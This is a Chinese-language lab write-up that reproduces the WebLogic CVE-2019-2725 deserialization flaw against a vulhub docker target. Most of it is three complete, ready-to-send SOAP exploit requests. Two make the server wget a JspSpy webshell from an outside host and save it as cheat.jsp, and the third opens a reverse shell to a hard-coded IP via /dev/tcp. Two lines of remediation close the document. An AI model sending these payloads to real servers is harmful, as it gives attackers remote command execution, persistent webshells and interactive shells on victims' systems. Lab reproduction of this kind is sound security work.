Weblogic反序列化漏洞（CVE-2019-2725）

1.漏洞描述

        wls9-async等组件为WebLogic Server提供异步通讯服务，默认应用于WebLogic部分版本。由于该WAR包在反序列化处理输入信息时存在缺陷，攻击者通过发送精心构造的恶意 HTTP 请求，即可获得目标服务器的权限，在未授权的情况下远程执行命令。

2.影响版本

Weblogic 10.x

Weblogic 12.1.3

3.漏洞环境搭建

在docker中搭建weblogic环境，进入/vulhub/weblogic/CVE-2017-10271目录

docker-compose up -d

浏览器访问http://192.168.1.100:7001/_async/AsyncResponseService，看到下图，可能存在CVE-2019-2725漏洞

4.漏洞复现

根据网上公开漏洞，复现三种方式

方式一：让服务器下载JspSpy.jsp.txt并重命名为cheat.jsp

（1）POC

POST /_async/AsyncResponseService HTTP/1.1

Host: 192.168.1.100:7001

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

Content-Length: 850

Accept-Encoding: gzip, deflate

SOAPAction:

Accept: */*

User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

Connection: keep-alive

content-type: text/xml

cmd:whoami


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"

xmlns:asy="http://www.bea.com/async/AsyncResponseService">

<soapenv:Header>

<wsa:Action>xx</wsa:Action>

<wsa:RelatesTo>xx</wsa:RelatesTo>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<void class="java.lang.ProcessBuilder">

<array class="java.lang.String" length="3">

<void index="0">

<string>/bin/bash</string>

</void>

<void index="1">

<string>-c</string>

</void>

<void index="2">

<string>wget http://xx.xx.xx.116/JspSpy.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/cheat.jsp

</string>

</void>

</array>

<void method="start"/></void>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body>

<asy:onAsyncDelivery/>

</soapenv:Body></soapenv:Envelope>

（2）利用burp发送POC数据包，看到服务器返回202，表示执行成功

（3）访问http://192.168.1.100:7001/bea_wls_internal/cheat.jsp，文件下载成功

方式二：让服务器下载JspSpy.jsp.txt并重命名为cheat.jsp

（1）POC

POST /_async/AsyncResponseService HTTP/1.1

Host: 192.168.1.100:7001

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

Content-Length: 857

Accept-Encoding: gzip, deflate

SOAPAction:

Accept: */*

User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

Connection: keep-alive

content-type: text/xml

cmd:whoami


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"

xmlns:asy="http://www.bea.com/async/AsyncResponseService">

<soapenv:Header>

<wsa:Action>xx</wsa:Action>

<wsa:RelatesTo>xx</wsa:RelatesTo>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<void class="java.lang.ProcessBuilder">

<array class="java.lang.String" length="3">

<void index="0">

<string>/bin/bash</string>

</void>

<void index="1">

<string>-c</string>

</void>

<void index="2">

<string>wget http://xx.xx.xx.116/JspSpy.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/cheat.jsp

</string>

</void>

</array>

<void method="start"/></void>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body>

<asy:onAsyncDelivery/>

</soapenv:Body></soapenv:Envelope>

(2) 利用burp发送POC数据包，看到服务器返回202，表示执行成功

（3）访问http://192.168.1.100:7001/_async/cheat.jsp，文件下载成功

方式三：反弹shell

（1）POC

POST /_async/AsyncResponseService HTTP/1.1

Host: 192.168.1.100:7001

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

Content-Length: 789

Accept-Encoding: gzip, deflate

SOAPAction:

Accept: */*

User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

Connection: keep-alive

content-type: text/xml

cmd:whoami


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"

xmlns:asy="http://www.bea.com/async/AsyncResponseService">

<soapenv:Header>

<wsa:Action>xx</wsa:Action>

<wsa:RelatesTo>xx</wsa:RelatesTo>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<void class="java.lang.ProcessBuilder">

<array class="java.lang.String" length="3">

<void index="0">

<string>/bin/bash</string>

</void>

<void index="1">

<string>-c</string>

</void>

<void index="2">

<string>bash -i &gt;&amp; /dev/tcp/49.235.250.116/1919 0&gt;&amp;1

</string>

</void>

</array>

<void method="start"/></void>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body>

<asy:onAsyncDelivery/>

</soapenv:Body></soapenv:Envelope>

(2) 利用burp发送POC数据包，看到服务器返回202，表示执行成功

（3）成功反弹shell

5.修复方案

（1）删除该war包并重启WebLogic服务；

（2）禁用bea_wls9_async_response组件等组件。